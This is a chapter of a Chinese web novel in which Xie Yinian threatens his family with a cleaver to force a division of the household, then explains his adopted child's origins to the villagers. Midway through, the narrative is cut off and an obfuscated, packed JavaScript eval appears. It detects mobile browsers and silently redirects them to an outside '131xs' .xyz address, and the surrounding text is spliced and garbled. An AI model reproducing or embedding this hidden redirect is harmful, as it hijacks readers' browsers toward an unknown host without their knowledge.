谢老太太本就因为张刘二人的事儿闹心不已,这厢见谢义年把刀架在谢老二脖子上,瞬间炸了,龇牙瞪眼,恨不得将谢义年生吞活剥了。
“分个屁的家!不准分!”
谢老爷子坐在一地狼藉之中,浑浊的眼珠紧紧锁住谢义年:“爹娘在不分家,你是想咒死我跟你娘吗?”
“这话我可没说过。”谢老二挣扎,谢义年长腿勾来条凳,大马金刀坐下,脚踩在谢老二胸口,菜刀抵近,瞬间血流如注,“不过您若是执意这么认为,我也没办法。”
“老大!”
“小畜生,你说什么?!”
谢义年迎上两双盛满怒火的眼,毫无畏惧:“我说,我要分家。”
“我不同意!”谢老太太急赤白脸道,“不孝可是重罪,我要去官府告你,让你蹲大牢!”
谢义年嗤笑:“不孝?”
“您是指五岁洗衣做饭,八岁下地插秧,还是十五岁起伺候二三十亩地,农闲期间也不得闲,早起贪黑地做工?”
“明明家里不是穷得揭不开锅,您二位早年在富商家做事,也攒了一笔银子,却逼着我没日没夜地干活。”
“每每忙到深更半夜回来,连口热乎饭都没有,自个儿弄口吃的还要挨骂,饿一夜第二日继续卖苦力。”
“全村几百口人,你们随便拉一个问问,恐怕没人说我不孝。”
“我不说,我不抱怨,只是我念着自个儿是家中老大,不愿计较罢了。”
“可你们是不是忘了?早年间我在家当老黄牛,您二位可是逢人便夸我孝顺,说有我这个儿子,是你们最大的福气。”
谢义年本不是怨天尤人的性子,更不爱与人诉苦。
但他不说,不代表那些事情从未发生过。
所有人都欺负他,欺负他的娘子,他的孩子。
谢义年忍无可忍,不想再忍。
谢老太太脸上挂不住,狡辩道:“这年头哪个农家娃不干活,真当自个儿是地主家的公子爷呢?老二身子虚,老三要读书,我跟你爹又上了年纪,那些活儿你不干谁干?”
看,她永远在偏心。
哪怕是同样没有读书天赋的谢老二,都比他谢义年更得她的喜爱。
谢义年心平如水,不嫉妒也不难过,只冷声道:“废话少说,也别想拿报官威胁我。在官兵来之前,我会把您二位还有二房三房所有人杀光光。”
“黄泉路上有你们作伴,我也不算孤单。”
谢老二被谢义年打掉两颗牙,脸肿成猪头,这会儿勉强能开口,大着舌头喊:“答应他!快答应他!我不想死啊!”
谢二婶与妯娌和几个孩子缩在墙角,跟着附和:“反正大哥大嫂早已搬出去单过,跟分家没什么两样,不如干脆一点......”
“你给老娘闭嘴!”谢老太太打断谢二婶。
坐吃山空绝非长久之计,没了谢义年这个壮劳力,地里的活儿谁干?谁来挣钱,供老三和几个孩子读书?
谢老太太心里急,给谢老爷子使眼色,让他去请几位叔公过来,为他们做主。
谢老爷子习惯性探向腰间,却摸了个空,想起旱烟落在炕上了,咬紧腮帮子:“老大,你确定要分家?”
谢老太太震惊,老头子在说什么屁话?
谢义年不假思索:“确定。”
谢老爷子又问:“不后悔?”
谢义年掷地有声:“不后悔。”
他只后悔没有早点跟他们撕破脸,连累娘子随他吃了那么多苦头。
谢老爷子叹了口气:“老二......媳妇,你去请几位叔公过来,做个见证。”
谢老太太脸色大变:“他爹,这家不能......”
“爷们说话,轮不到你插嘴。”谢老爷子轻飘飘一个眼神过去,谢老太太像是被掐住脖子的鸡,鼓着眼不敢吱声。
早在谢义年闯进堂屋,持刀要挟的那一刻,谢老爷子就明白今日这事儿不能善了。
他是看重老三,但老二也是他的亲儿子。
更何况,这次的确是老二做错了。
没有十足的把握除掉那个小兔崽子,无异于引狼入室,害人害己。
想到张刘二人,谢老爷子脑瓜子生疼,实在没心思再与谢义年多做纠缠。
分就分吧,兔子逼急了还会咬人,更遑论是人。
至于地里的那些庄稼,花几个钱找人伺候便是。
二三十亩地,一年下来能挣不少哩。
谢二婶得令,爬起来就要往外冲,被谢义年叫住:“顺便请村长和余秀才过来。”
几位叔爷向着二房三房,算什么见证人?
谢二婶看向谢老爷子,后者挥了挥手,她欸了一声,一阵风似的卷出门。
......
谢家叔公和余家兄弟俩很快来到谢家,随之而来的还有好些村民。
他们听见谢老二的惨叫声,便一直留意谢家这边的动静,见谢二婶去请人,也都厚着脸皮跟了上来。
谢老太太气急败坏地甩上门:“看什么?都给老娘滚远点!”
村民们吃了个闭门羹,却都将堂屋里的景况看得一清二楚。
“乖乖,这次谢老大气狠了,都动刀子了。”
“谢老大也是能忍,我若是他,早八百年就跟那两个歪屁股的翻脸了。”
“这不是有二叔公几个镇着,不听话就会被除族,死后都不能埋进祖坟,那也太惨了些。”
堂屋里,谢二婶和谢三婶将地上的饭菜简单收拾了下,谢家人和六位见证人围桌坐开。
二叔公已经知道他们此行的目的,花白眉毛皱得死紧。
他们不是不知道谢老大不受重视,当牛做马受尽委屈。
可若想成就大事,必然有人要做出牺牲。
权衡之下,他们选择牺牲谢义年。
他们只是想老谢家出个官老爷,光宗耀祖而已,万万没想到,去年的过继风波之后,谢义年竟又生出事端。
二叔公不喜有人忤逆自己,沉着脸斥道:“老大,你弟也是为你好,你怎能恩将仇报?赶紧把刀收起来,往后还是好兄弟,别再提什么分家......”
“啊!”
谢义年一个用力,谢老二惨叫,鲜血瞬间染红菜刀。
在场众人眼皮狂跳,二叔公哪还敢继续劝说,自以为隐蔽地往谢义年反方向挪动,生怕挨上一刀,小命不保。
谢义年看向谢老爷子:“开始吧。”
谢老爷子清了下嗓子,回正屋取来一个红布包,当着众人的面打开,是白花花的银锞子。
谢二婶眼睛一亮,眼珠咕噜直转。
“这些年家里存了十五两,我跟他娘留六两养老,剩下的兄弟三个平分。”
“不过眼下仅长房分出去,二房三房的等百年之后再分。”
谢老爷子将三两银子推到谢义年面前,继续说:“我们老两口跟老三,以后你每个月给一百文钱即可。”
谢义年知道谢老爷子藏了钱,但他不在乎,爽快应下。
一百文也就三五日的工钱,权当买个清净。
分家继续。
“二十六亩地,老大得五亩,鸡鸭共二十只......”
谢老爷子将田地、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540702|186643||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家禽、锅碗瓢盆等扒拉一遍,因着余家兄弟俩在场,他不愿让外人看笑话,分配得还算公平。
当然,也有安抚谢义年,息事宁人的意思。
谢义年没什么意见,唯独一点:“这砖瓦房是用我挣的钱盖的,我也不全要,一间东屋。”
话音刚落,谢三婶便跳出来:“不行!东屋给了你,我们三房住哪?”
按理说,东屋应该给长房住。
可谁让谢老三是谢老太太的心尖尖,当初砖瓦房建成,便让三房住了进去,将谢义年夫妇撵去背阴的西南屋。
余成耀眉心跳了跳,神情不复温和,淡声道:“那就折成银子。”
谢三婶不乐意,对上亲爹冷厉的眼睛,登时汗毛倒竖,嘴唇一哆嗦,将话咽了回去。
谢老太太也有意见,却让谢老爷子抢先一步表了态:“可以,当初这房子里里外外花了十两,给你二两可好?”
谢义年伸出蒲扇大手,一把薅过银子:“成交,还有那两间黄泥房的地契。”
谢老爷子:“......行,给你。”
该分的已经分完了,余成耀提笔,拟写分家文书。
拟写完毕,谢义年和谢老爷子在纸上留下手指印,紧接着又是六位见证人。
至此,分家才算彻底结束。
谢义年收回菜刀,将谢老二踹出去,拿上银子地契田契和分家文书,将他的那份分两趟搬去隔壁黄泥房,而后打开砖瓦房的院门。
门外,是乌泱泱的村民。
众人正津津有味地听着谢老太太骂人,冷不丁跟谢义年打个照面,多少有点尴尬。
谢义年一清嗓子,扬声道:“我知道,大家对我家那孩子的身份有所怀疑。”
众人眼神闪烁,却都说不出一句否认的话。
谢峥来历不明,下午又被认作刺杀郡主的侏儒,他们心存警惕也属正常。
谢义年正色道:“不瞒大家,那孩子的确是我和娘子在凤阳山附近捡回来的。”
“她得了重病,估计家里穷,无钱医治,被她的家人扔到乱葬岗等死。”
“我和娘子恰好经过,见她还有一口气在,便将她带了回来。”
谢义年并未说谎,也不怕有人去查。
那日的确有人将一个孩子扔到乱葬岗,他们途经那处,想要救人却为时已晚,亲眼看着他断了气。
谢义年说罢,恳求道:“她大病一场,忘却前事,将我和娘子视为亲生爹娘,还请你们行行好,不要在她面前说些有的没的。”
村民们闻言,恍然大悟。
“难怪先前谢老二要说是你捡回的那孩子,你媳妇凶巴巴地打断了他,不让他继续往下说。”
“放心吧,我们不会乱说的,只是万一哪天她想起来了,要回去......”
谢义年心头像是被什么刺了下,有些不舒服,面上不显:“那我就送她回去,让她和她的家人团聚。”
众人唏嘘,谢老大可真是个实诚人。
谢义年郑重道了声谢,扭身直奔鸡窝。
谢老太太一直盯着谢义年,见状眉毛一竖:“你要干什么?你的鸡不是已经带走了?”
谢义年掐住一只母鸡的脖子,拖出鸡圈,头也不回地说:“老二让我家孩子受了惊,给她炖只鸡,补补身子,压压惊。”
说着,手下一个用力,扭断了鸡脖子。
谢老太太尖叫:“谢义年你个畜生,老娘跟你拼了!”
许是气得狠了,没注意脚下,被门槛绊住,摔个脸着地,当场晕死过去。
谢义年看都没看她,提着母鸡掉头走人。